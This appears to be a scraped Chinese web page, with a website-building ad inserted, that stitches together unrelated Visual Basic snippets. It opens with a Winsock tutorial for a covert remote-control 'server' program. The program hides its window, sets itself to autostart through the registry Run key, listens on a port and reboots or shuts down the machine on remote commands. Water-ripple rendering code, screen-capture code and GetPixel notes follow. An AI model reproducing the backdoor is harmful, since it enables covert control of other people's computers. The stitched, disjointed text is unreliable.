下面是Winsock控件的相关属性，方法和事件。(略去一些暂用不到的)
沙河网站建设公司创新互联建站,沙河网站设计制作，有大型网站制作公司丰富经验。已为沙河近千家提供企业网站建设服务。企业网站搭建\成都外贸网站制作要多少钱，请找那个售后服务好的沙河做网站的公司定做！
*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0端口65536)
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序，等待客户访问。
格式：Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
格式：Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式：Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式：Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式：Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式：Winsock对象.close
*事件
----------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好，可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------
程序代码如下：
--》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的)，属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入，这就更方便了，不过由于实现过程较复杂，就不在这里说了.
Private Sub Form_Load()
On Error GoTo skip 注释：如此端口已有通信程序则退出
Winsock1.LocalPort = 1334 注释：端口值应大于1024，如还有冲突可改为其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口冲突，退出！", vbOKOnly, "注意！"
End
End If
End Sub
Private Sub Winsock1_Close()
If Winsock1.State sckClosed Then Winsock1.Close
Winsock1.Listen 注释：关闭连接后继续监听
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State sckClosed Then Winsock1.Close
Winsock1.Accept requestID 注释：请求到达时，接受连接
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 注释：读取到达的数据
Select Case strget
Case "a" 注释：判断到达的数据是否‘a’，是则重启，你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释：不同机器设置不一样
Call Shell(ccom, vbHide) 注释：由函数curr_win()来判断
Case "b" 注释：如为‘b’则关闭计算机
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 注释：函数shell来执行命令
Case Else 注释：可以在此加入其他命令
End Select
End Sub
Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 注释：此函数通过读取环境变量来获得Windows目录
enstr = Environ(i)
Do While enstr ""
If Len(enstr) 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意！" 注释：如程序出现错误，则简单的退出
End
End Sub
'补模块3文件。一个放不下。
'
' 渲染子程序，将新的帧数据渲染到 lpDIBitsRender 中
' 算法：
' posx = Wave1(x-1,y)-Wave1(x+1,y)+x
' posy = Wave1(x,y-1)-Wave1(x,y+1)+y
' SourceBmp(x,y) = DestBmp(posx,posy)
'
Public Sub WaveRender(lpWaveObject As WAVE_OBJECT)
Dim dwPosX As Long, dwPosY As Long, dwPtrSource As Long, dwPtrDest As Long, dwFlag As Long
Dim lpWave1 As Long, LineIdx As Long, LinePtr As Long
Dim lpDIBitsSource As Long, lpDIBitsRender As Long
Dim I As Long, J As Long
dwFlag = 0
With lpWaveObject
'Debug.Print "WaveRender " .dwFlag
If (.dwFlag And F_WO_ACTIVE) = 0 Then Exit Sub
.dwFlag = .dwFlag Or F_WO_NEED_UPDATE
lpWave1 = .lpWave1
LineIdx = .dwWaveByteWidth '像素指针
For I = 1 To .dwBmpHeight - 2
For J = 0 To .dwBmpWidth - 1
'********************************************************************
' PosY=i+像素上1能量-像素下1能量
' PosX=j+像素左1能量-像素右1能量
'********************************************************************
'LineIdx = LineIdx - .dwWaveByteWidth
LinePtr = lpWave1 + LineIdx - .dwWaveByteWidth
pLongPtr(0) = LinePtr
dwPosY = pLong(0)
LinePtr = lpWave1 + LineIdx + .dwWaveByteWidth
pLongPtr(0) = LinePtr
dwPosY = dwPosY - pLong(0) + I
LinePtr = lpWave1 + LineIdx - 4
pLongPtr(0) = LinePtr
dwPosX = pLong(0)
LinePtr = lpWave1 + LineIdx + 4
pLongPtr(0) = LinePtr
dwPosX = dwPosX - pLong(0) + J
If dwPosX 0 Or dwPosY 0 Then GoTo Continue
If dwPosX = .dwBmpWidth Or dwPosY = .dwBmpHeight Then GoTo Continue
'********************************************************************
' ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3
' ptrDest = i * dwDIByteWidth + j * 3
'********************************************************************
'dwPtrSource = dwPosY * .dwDIByteWidth + (dwPosX + dwPosX * 2)
dwPosX = dwPosX + dwPosX * 2 'dwPosX * 3
dwPtrSource = dwPosY * .dwDIByteWidth + dwPosX
dwPtrDest = I * .dwDIByteWidth + (J + J * 2) 'dwPtrDest = I * .dwDIByteWidth + J * 3
'********************************************************************
' 渲染像素 [ptrDest] = 原始像素 [ptrSource]
'********************************************************************
lpDIBitsSource = .lpDIBitsSource + dwPtrSource
lpDIBitsRender = .lpDIBitsRender + dwPtrDest
If dwPtrSource dwPtrDest Then
dwFlag = dwFlag Or 1 '如果存在源像素和目标像素不同，则表示还在活动状态
' Debug.Print dwPtrSource " SR " dwPtrDest
'CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3
Call WaveGetPixel(lpDIBitsSource, lpDIBitsRender, .dwDIByteWidth)
Else
CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3
End If
'********************************************************************
' 继续循环
'********************************************************************
Continue:
LineIdx = LineIdx + 4 '像素++ '指针4个字节
Next 'J
Next 'I
SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS
If dwFlag = 0 Then .dwFlag = .dwFlag And (Not F_WO_ACTIVE)
'Debug.Print "WaveRender " .dwFlag
End With
End Sub
Public Sub WaveUpdateFrame(lpWaveObject As WAVE_OBJECT, ByVal hdc As Long, bIfForce As Boolean)
'Dim ret As Long
With lpWaveObject
If bIfForce = True Then GoTo labUpdate
If (.dwFlag And F_WO_NEED_UPDATE) Then
'ret = SetDIBitsToDevice(.hDcRender, 0, 0, .dwBmpWidth, .dwBmpHeight, 0, 0, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)
'ret = SetDIBits(.hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)
'SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS
labUpdate:
BitBlt hdc, 0, 0, .dwBmpWidth, .dwBmpHeight, .hDcRender, 0, 0, SRCCOPY
.dwFlag = .dwFlag And (Not F_WO_NEED_UPDATE)
End If
End With
End Sub
'
' 扔一块石头
'
Public Sub WaveDropStone(lpWaveObject As WAVE_OBJECT, ByVal dwPosX As Long, ByVal dwPosY As Long, ByVal dwStoneSize As Long, ByVal dwStoneWeight As Long)
Dim dwSize As Long
Dim dwX1 As Long, dwX2 As Long
Dim dwY1 As Long, dwY2 As Long, dwY3 As Long
'Dim dwMaxX As Long, dwMaxY As Long
Dim LinePtr As Long
With lpWaveObject
'Debug.Print "WaveDropStone " .dwFlag
'********************************************************************
' 计算范围
'********************************************************************
dwSize = dwStoneSize \ H2 '2 ^ 1
dwX1 = dwPosX + dwSize
dwX2 = dwPosX - dwSize
If (.dwFlag And F_WO_ELLIPSE) Then dwSize = dwSize \ H2 ' 2 ^ 1
dwY1 = dwPosY + dwSize
dwY2 = dwPosY - dwSize
dwSize = dwStoneSize
If dwSize = 0 Then dwSize = dwSize + 1
'********************************************************************
' 判断范围的合法性
'********************************************************************
If dwX1 + 1 = .dwBmpWidth Or dwX2 1 Or dwY1 + 1 = .dwBmpHeight Or dwY2 1 Then Exit Sub
'********************************************************************
' 将范围内的点的能量置为 dwStoneWeight
'********************************************************************
While dwX2 = dwX1
dwY3 = dwY2
While dwY3 = dwY1
'(x-x0)^2+(y-y0)^2=r^2 就在圆内
If (dwX2 - dwPosX) * (dwX2 - dwPosX) + (dwY3 - dwPosY) * (dwY3 - dwPosY) = dwSize * dwSize Then
LinePtr = .lpWave1 + (dwY3 * .dwBmpWidth + dwX2) * H4 '2 ^ 2
pLongPtr(0) = LinePtr
pLong(0) = dwStoneWeight
End If
dwY3 = dwY3 + 1
Wend
dwX2 = dwX2 + 1
Wend
.dwFlag = .dwFlag Or F_WO_ACTIVE
End With
End Sub
'
' 计算扩散数据、渲染位图、更新窗口、处理特效的定时器过程
'
Public Sub WaveTimerProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal idEvent As Long, ByVal dwTime As Long)
Dim hdc As Long
Dim dwPosX As Long, dwPosY As Long, dwSize As Long, dwWeight As Long
Dim lpWaveObj As Long
'建立模拟指针
Dim pWAVE_OBJECT() As WAVE_OBJECT
Dim pWAVE_OBJECTPtr() As Long
Dim SApWAVE_OBJECT As SAFEARRAY1D
Dim SApWAVE_OBJECTPtr As SAFEARRAY1D
With SApWAVE_OBJECT
.cDims = 1
.fFeatures = 0
.cbElements = 1
.cLocks = 0
.pvData = 0
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 1
End With
With SApWAVE_OBJECTPtr
.cDims = 1
.fFeatures = 0
.cbElements = 4
.cLocks = 0
.pvData = VarPtr(SApWAVE_OBJECT.pvData)
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 1
End With
CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), VarPtr(SApWAVE_OBJECT), 4
CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), VarPtr(SApWAVE_OBJECTPtr), 4
lpWaveObj = idEvent
pWAVE_OBJECTPtr(0) = lpWaveObj
'Debug.Print "WaveTimerProc " pWAVE_OBJECT(0).dwFlag
Call WaveSpread(pWAVE_OBJECT(0))
Call WaveRender(pWAVE_OBJECT(0))
With pWAVE_OBJECT(0)
If (.dwFlag And F_WO_NEED_UPDATE) Then
hdc = GetDC(.hWnd)
Call WaveUpdateFrame(pWAVE_OBJECT(0), hdc, False)
Call ReleaseDC(.hWnd, hdc)
End If
'********************************************************************
' 特效处理
'********************************************************************
If (.dwFlag And F_WO_EFFECT) = 0 Then Exit Sub
Select Case .dwEffectType
'********************************************************************
' Type = 1 雨点，Param1＝速度（0最快，越大越慢），Param2＝雨点大小，Param3＝能量
'********************************************************************
Case 1
'Dim ret As Long
If .dwEffectParam1 0 Then Call WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1) 'ret = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1)
'If ret = 0 Then
dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1
dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1
dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1
dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3) + 50
Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)
'End If
'********************************************************************
' Type = 2 行船，Param1＝速度（0最快，越大越快），Param2＝大小，Param3＝能量
'********************************************************************
Case 2
.dwEff2Flip = .dwEff2Flip + 1
If (.dwEff2Flip And 1) 0 Then Exit Sub
dwPosX = .dwEff2X + .dwEff2XAdd
dwPosY = .dwEff2Y + .dwEff2YAdd
If dwPosX 1 Then
dwPosX = -(dwPosX - 1)
.dwEff2XAdd = -.dwEff2XAdd
End If
If dwPosY 1 Then
dwPosY = -(dwPosY - 1)
.dwEff2YAdd = -.dwEff2YAdd
End If
If dwPosX .dwBmpWidth - 1 Then
dwPosX = (.dwBmpWidth - 1) - (dwPosX - (.dwBmpWidth - 1)) '(.dwBmpWidth - 1)*2 -dwPosX
.dwEff2XAdd = -.dwEff2XAdd
End If
If dwPosY .dwBmpHeight - 1 Then
dwPosY = (.dwBmpHeight - 1) - (dwPosY - (.dwBmpHeight - 1)) '(.dwBmpHeight-1)*2-dwPosY
.dwEff2YAdd = -.dwEff2YAdd
End If
.dwEff2X = dwPosX
.dwEff2Y = dwPosY
Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, .dwEffectParam2, .dwEffectParam3)
'********************************************************************
' Type = 3 波浪，Param1＝密度，Param2＝大小，Param3＝能量
'********************************************************************
Case 3
Dim I As Long
For I = 0 To .dwEffectParam1
dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1
dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1
dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1
dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3)
Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)
Next
End Select
End With
'取消模拟指针
CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), 0, 4
CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), 0, 4
End Sub
'
'释放对象
'
Public Sub WaveFree(lpWaveObject As WAVE_OBJECT)
With lpWaveObject
If .hDcRender 0 Then DeleteDC (.hDcRender)
If .hBmpRender 0 Then DeleteObject .hBmpRender
If .lpDIBitsSource 0 Then GlobalFree .lpDIBitsSource
If .lpDIBitsRender 0 Then GlobalFree .lpDIBitsRender
If .lpWave1 0 Then GlobalFree .lpWave1
If .lpWave2 0 Then GlobalFree .lpWave2
KillTimer .hWnd, VarPtr(lpWaveObject)
ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)
'-----------------------------------------------------------
'取消模拟指针
CopyMemory ByVal VarPtrArray(pLong), 0, 4
CopyMemory ByVal VarPtrArray(pLongPtr), 0, 4
'-----------------------------------------------------------------
'取消模拟指针
CopyMemory ByVal VarPtrArray(pByte), 0, 4
CopyMemory ByVal VarPtrArray(pBytePtr), 0, 4
'-----------------------------------------------------------
End With
End Sub
'
' 初始化对象
' 参数：_lpWaveObject ＝ 指向 WAVE_OBJECT结构体
' 返回：0 成功、 1 失败
'
Public Function WaveInit(lpWaveObject As WAVE_OBJECT, ByVal hWnd As Long, ByVal hBmp As Long, ByVal dwSpeed As Long, ByVal dwType As WaveType) As Long
Dim stBmp As BITMAP
Dim dwReturn As Long
Dim ret As Long
Dim hdc As Long
Dim hMDC As Long
'-----------------------------------------------------------------
'建立模拟指针
With SApLong
.cDims = 1
.fFeatures = 0
.cbElements = 1
.cLocks = 0
.pvData = 0
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 1
End With
With SApLongPtr
.cDims = 1
.fFeatures = 0
.cbElements = 4
.cLocks = 0
.pvData = VarPtr(SApLong.pvData)
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 1
End With
CopyMemory ByVal VarPtrArray(pLong), VarPtr(SApLong), 4
CopyMemory ByVal VarPtrArray(pLongPtr), VarPtr(SApLongPtr), 4
'-----------------------------------------------------------------
'建立模拟指针
With SApByte
.cDims = 1
.fFeatures = 0
.cbElements = 1
.cLocks = 0
.pvData = 0
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 3
End With
With SApBytePtr
.cDims = 1
.fFeatures = 0
.cbElements = 4
.cLocks = 0
.pvData = VarPtr(SApByte.pvData)
.Bounds(0).lLbound = 0
.Bounds(0).cElements = 1
End With
CopyMemory ByVal VarPtrArray(pByte), VarPtr(SApByte), 4
CopyMemory ByVal VarPtrArray(pBytePtr), VarPtr(SApBytePtr), 4
'-----------------------------------------------------------------
dwReturn = 0
ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)
'ZeroMemory lpWaveObject, H84 ' Len(WAVE_OBJECT)
With lpWaveObject
If dwType = sEllipse Then
.dwFlag = .dwFlag Or F_WO_ELLIPSE
End If
'********************************************************************
' 获取位图尺寸
'********************************************************************
.hWnd = hWnd
.dwRandom = GetTickCount()
ret = GetObject(hBmp, Len(stBmp), stBmp)
If ret = 0 Then
dwReturn = 1
GoTo result
End If
.dwBmpHeight = stBmp.bmHeight
'if lpWaveObject.dwBmpHeight 3 then dwReturn = 1:GoTo result
.dwBmpWidth = stBmp.bmWidth
'if lpWaveObject.dwBmpWidth 3 then dwReturn = 1:GoTo result
.dwWaveByteWidth = stBmp.bmWidth * H4 '2 ^ 2 'dwBmpWidth * 4
.dwDIByteWidth = (stBmp.bmWidth + stBmp.bmWidth * 2 + 3) And (Not H3) '(dwBmpWidth * 3 + 3) and ~3 ' ((W * 3 + 3) And (Not 3))
'********************************************************************
' 创建用于渲染的位图
'********************************************************************
hdc = GetDC(hWnd)
.hDcRender = CreateCompatibleDC(hdc)
.hBmpRender = CreateCompatibleBitmap(hdc, .dwBmpWidth, .dwBmpHeight)
'MsgBox .hBmpRender
SelectObject .hDcRender, .hBmpRender
'********************************************************************
' 分配波能缓冲区
'********************************************************************
.lpWave1 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)
.lpWave2 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)
'********************************************************************
' 分配像素缓冲区
'********************************************************************
.lpDIBitsSource = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)
.lpDIBitsRender = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)
'********************************************************************
' 获取原始像素数据
'********************************************************************
'With .stBmpInfo.bmiHeader
.stBmpInfo.bmiHeader.biSize = Len(.stBmpInfo.bmiHeader) ' H28 'len(BITMAPINFOHEADER)
.stBmpInfo.bmiHeader.biWidth = .dwBmpWidth
.stBmpInfo.bmiHeader.biHeight = -.dwBmpHeight '- .dwBmpHeight
.stBmpInfo.bmiHeader.biPlanes = 1
.stBmpInfo.bmiHeader.biBitCount = 24
.stBmpInfo.bmiHeader.biCompression = BI_RGB
.stBmpInfo.bmiHeader.biSizeImage = 0
'End With
hMDC = CreateCompatibleDC(hdc)
SelectObject hMDC, hBmp
ReleaseDC hWnd, hdc
GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsSource, .stBmpInfo, DIB_RGB_COLORS
GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS
DeleteDC hMDC
If .lpWave1 = 0 Or .lpWave2 = 0 Or .lpDIBitsSource = 0 Or .lpDIBitsRender = 0 Or .hDcRender = 0 Then
WaveFree lpWaveObject
dwReturn = 1
End If
'Debug.Print "WaveInit " .dwFlag
SetTimer hWnd, ByVal VarPtr(lpWaveObject), dwSpeed, AddressOf WaveTimerProc
.dwFlag = .dwFlag Or F_WO_ACTIVE Or F_WO_NEED_UPDATE
'Debug.Print "WaveInit " .dwFlag
WaveRender lpWaveObject
hdc = GetDC(.hWnd)
WaveUpdateFrame lpWaveObject, hdc, True
ReleaseDC .hWnd, hdc
End With
'********************************************************************
result:
WaveInit = dwReturn
End Function
'
' 一些特效
' 输入：dwType = 0 关闭特效
' dwType 0 开启特效，参数具体见上面
'
Public Sub WaveEffect(lpWaveObject As WAVE_OBJECT, ByVal dwEffectType As WaveEffectType, ByVal dwParam1 As Long, ByVal dwParam2 As Long, ByVal dwParam3 As Long)
Dim dwMaxX As Long, dwMaxY As Long
With lpWaveObject
' Debug.Print "WaveEffect " .dwFlag
Select Case dwEffectType
Case wClose '关闭特效
.dwFlag = .dwFlag And (Not F_WO_EFFECT)
.dwEffectType = dwEffectType
Exit Sub
'Case wrain '下雨
Case wLaunch '汽艇
.dwEff2XAdd = dwParam1
.dwEff2YAdd = dwParam1
.dwEff2X = WaveRandom(lpWaveObject, .dwBmpWidth - 2) + 1
.dwEff2Y = WaveRandom(lpWaveObject, .dwBmpHeight - 2) + 1
' .dwEffectType = dwEffectType
' .dwEffectParam1 = dwParam1
' .dwEffectParam2 = dwParam2
' .dwEffectParam3 = dwParam3
' .dwFlag = .dwFlag Or F_WO_EFFECT
'Case wWaves '风浪
'Case Else '默认
End Select
.dwEffectType = dwEffectType
.dwEffectParam1 = dwParam1
.dwEffectParam2 = dwParam2
.dwEffectParam3 = dwParam3
.dwFlag = .dwFlag Or F_WO_EFFECT
End With
End Sub
完
我有个笨办法，先用API抓图到内存里，然后再在根据你点鼠标的屏幕工作区坐标，去那图里取色。
-----------------------
'抓图所需的API
Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Integer) As Integer
Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer) As Integer
Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Integer, ByVal hObject As Integer) As Integer
Private Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer
Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Integer) As Integer
Private Declare Function DeleteObject Lib "GDI32" (ByVal hObj As Integer) As Integer
Declare Function GetDC Lib "user32" Alias "GetDC" (ByVal hwnd As Integer) As Integer
Const SRCCOPY As Integer = HCC0020
'抓图的部分
Dim hDC, hMDC As Integer
Dim hBMP, hBMPOld As Integer
Dim sw, sh As Integer
hDC = GetDC(0)
hMDC = CreateCompatibleDC(hDC)
sw = Screen.PrimaryScreen.Bounds.Width
sh = Screen.PrimaryScreen.Bounds.Height
hBMP = CreateCompatibleBitmap(hDC, sw, sh)
hBMPOld = SelectObject(hMDC, hBMP)
BitBlt(hMDC, 0, 0, sw, sh, hDC, 0, 0, SRCCOPY)
hBMP = SelectObject(hMDC, hBMPOld)
Dim bmp As Bitmap = Image.FromHbitmap(New IntPtr(hBMP))
DeleteDC(hDC)
DeleteDC(hMDC)
DeleteObject(hBMP)
......
'取点的颜色
bmp.GetPixel(e.X, e.Y)
----------------------------
关键就是这些你自己组合吧，你分给的太少了，很麻烦，恕我不帮你改全了。如果要仔细帮你改，请另开高分贴，不要用新马甲来
用VB.net或者C#可以很快制作一个简单的以IE为核心的浏览器，只需要在窗体里放一个WebBrowser组件，就可以了。要想从零开始制作一个浏览器是很困难的事情。你需要了解各种网络协议HTTP等，还要明确Web标准，渲染文字和图形。。。。等等等等。。。。。
1,建立工程，在form1 上放一个picture框
2,把下面的代码放到代码区
3,f5测试，会在工程目录下生成一个jpg.里面的压缩参数和保存位置你自己可调整
---------------------灰常nb的分割线--------------------
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, ByVal outputbuf As Long) As Long
Private Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long
Private Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" (ByVal hbm As Long, ByVal hpal As Long, Bitmap As Long) As Long
Private Declare Function GdipDisposeImage Lib "GDIPlus" (ByVal Image As Long) As Long
Private Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal filename As Long, clsidEncoder As GUID, encoderParams As Any) As Long
Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long
Private Declare Function GdipCreateBitmapFromFile Lib "GDIPlus" (ByVal filename As Long, Bitmap As Long) As Long
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(0 To 7) As Byte
End Type
Private Type GdiplusStartupInput
GdiplusVersion As Long
DebugEventCallback As Long
SuppressBackgroundThread As Long
SuppressExternalCodecs As Long
End Type
Private Type EncoderParameter
GUID As GUID
NumberOfValues As Long
type As Long
Value As Long
End Type
Private Type EncoderParameters
Count As Long
Parameter As EncoderParameter
End Type
Private Sub Form_Load()
Dim rFN As String
Dim ret As Boolean
rFN = getFN
Me.Hide
Me.AutoRedraw = True
Picture1.Width = Screen.Width + 30
Picture1.Height = Screen.Height + 30
BitBlt Picture1.hDC, 0, 0, Screen.Width + 30, Screen.Height + 30, GetDC(0), 0, 0, vbSrcCopy
Set Picture1.Picture = Picture1.Image
ret = PictureBoxSaveJPG(Picture1.Picture, Replace(App.Path "\" rFN ".JPG", "\\", "\")) '保存压缩后的图片
End
End Sub
Function getFN() As String
Dim dD As String, tT As String
dD = Replace(CStr(Date), "-", ""): tT = Replace(CStr(Time), ":", "")
tT = Replace(tT, "下午", "pm"): tT = Replace(tT, "上午", "am")
getFN = Replace(dD tT, " ", "")
End Function
Private Function PictureBoxSaveJPG(ByVal pict As StdPicture, ByVal filename As String, Optional ByVal quality As Byte = 80) As Boolean
Dim tSI As GdiplusStartupInput
Dim lRes As Long
Dim lGDIP As Long
Dim lBitmap As Long
'初始化 GDI+
tSI.GdiplusVersion = 1
lRes = GdiplusStartup(lGDIP, tSI, 0)
If lRes = 0 Then
'从句柄创建 GDI+ 图像
lRes = GdipCreateBitmapFromHBITMAP(pict.Handle, 0, lBitmap)
If lRes = 0 Then
Dim tJpgEncoder As GUID
Dim tParams As EncoderParameters
'初始化解码器的GUID标识
CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
'设置解码器参数
tParams.Count = 1
With tParams.Parameter ' Quality
'得到Quality参数的GUID标识
CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"), .GUID
.NumberOfValues = 1
.type = 4
.Value = VarPtr(quality)
End With
'保存图像
lRes = GdipSaveImageToFile(lBitmap, StrPtr(filename), tJpgEncoder, tParams)
'销毁GDI+图像
GdipDisposeImage lBitmap
End If
'销毁 GDI+
GdiplusShutdown lGDIP
End If
If lRes Then
PictureBoxSaveJPG = False
Else
PictureBoxSaveJPG = True
End If
End Function
应该是返回类型不对，参考下面说明。
GetPixel函数功能：该函数检索指定坐标点的像素的RGB颜色值。
函数原型：；COLORREF GetPixel(HDC hdc, int nXPos, int nYPos) VB声明： Declare Function GetPixel Lib "gdi32" Alias "GetPixel" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
hdc：设备环境句柄。
nXPos：指定要检查的像素点的逻辑X轴坐标。
nYPos：指定要检查的像素点的逻辑Y轴坐标。
返回值：返回值是该象像点的RGB值。如果指定的像素点在当前剪辑区之外；那么返回值是CLR_INVALID。
备注：该像素点必须在当前剪辑区的边界之内。并不是所有设备都支持GetPixel函数。应用程序应调用GetDeviceCaps函数来确定指定的设备是否支持该函数。